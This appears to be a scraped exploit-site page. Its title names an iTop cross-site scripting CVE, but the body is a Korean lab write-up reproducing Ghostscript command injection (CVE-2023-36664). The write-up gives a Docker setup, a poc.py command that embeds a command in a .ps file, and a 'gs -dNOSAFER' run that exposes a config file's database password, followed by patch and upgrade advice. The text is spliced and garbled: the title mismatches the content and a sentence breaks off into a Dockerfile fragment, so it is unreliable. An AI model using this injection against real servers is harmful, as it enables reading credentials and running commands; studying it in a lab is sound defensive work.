Exploit for Cross-site Scripting in Combodo Itop CVE-2023-34446 CVE-2023-36664

## https://sploitus.com/exploit?id=BAC67664-3433-5AD2-8F3E-35D5F2419967
# CVE-2023-36664: Ghostscript Remote Code Execution

## 취약점 요약

**CVE ID:** CVE-2023-36664  
**제품:** Ghostscript ( /var/www/html/config.php

RUN useradd -m -s /bin/bash test

WORKDIR /home/test
USER test

CMD ["/bin/bash"]
```
#### 기본 apt install

기본적인 poc 환경을 구성하기 위해서는 Ghostscript 취약 버전을 가져오기 위한 wget, tar.gz 압축을 푼 이후 source를 설치하기 위한 build-essential, .ps 실행시 악의적으로 띄울 메모장(gedit) 등이 있다.

#### Ghostscript 10.01.1 설치
 
![png3](png3.png)
![png4](png4.png)
Ghostscript 취약 버전 10.01.1은 git에서 source를 가져와서 설치하였다. `RUN ./configure && \ make && \ make install`는 source 다운받은 폴더에 사용법이 적혀있어 따라서 설치한 것이다.

#### 탈취할 정보
보통 /var/www/html/config.php에는 웹 애플리케이션의 핵심 설정값들이 들어간다. 예를 들면 데이터베이스 이름, 비밀번호
그래서 임의로 DB 비밀번호를 탈취한다고 생각하고 config.php 파일을 생성한다.

#### 일반 계정 생성
root 계정이 아닌 일반 계정 test로 poc를 할 예정이기 때문에 새로운 user를 생성해준다.

---

## 재현 절차

### 1. 환경 구축

```bash
# Docker 이미지 빌드
docker compose -f docker-compose.yml up -d

# 컨테이너 실행
docker exec -it cve_lab bash
```

### 2. PoC 파일 생성

컨테이너 내에서:
![png5](png5.png)

```bash
python3 poc.py -p "gedit /var/www/html/config.php" -m r -f test
```


**생성 결과:**
![png6](png6.png)

입력했던 악성 경로가 .ps 안에 잘 들어가 있는 것을 볼 수 있다.

### 3. Ghostscript로 악의적 파일 처리

```bash
gs -dNOSAFER test.ps
```
![png7](png7.png)
### 4. 결과 확인

gedit가 자동으로 열리며 `/var/www/html/config.php` 내용이 노출된다.

```
DB_PASSWORD=SuperSecret1234!!!
```

---


## 대응 방안

![png8](png8.png)


### 1. 보안 패치 적용 및 업데이트
공식적으로 취약점이 수정된 Ghostscript 10.01.2 이상 최신 버전으로 업데이트를 수행해야 한다.

### 2. 패치 소스코드 분석을 통한 방어 메커니즘 이해
공식 패치에서는 `gp_validate_path_len()` 함수 안에서 `gp_file_name_reduce()`를 호출하기 전에 검증을 하는 로직이 추가되었다.

파이프 특수 문자열 예외 처리 및 차단 강제: 입력 경로의 접두사가 %pipe% 또는 | 기호로 시작하는 경우를 별도로 완벽하게 감지하는 분기문이 추가되었다.


공식 패치 버전: https://github.com/ArtifexSoftware/ghostpdl/commit/5f56c6f6f989816fc9cc671116740acecbed5b6c






## 참고 자료

- **CVE 공식 페이지:** https://vulners.com/cve/CVE-2023-36664
- **CVE 이해:** https://www.vicarius.io/vsociety/posts/cve-2023-36664-command-injection-with-ghostscript
- **PoC 재현:** https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection

---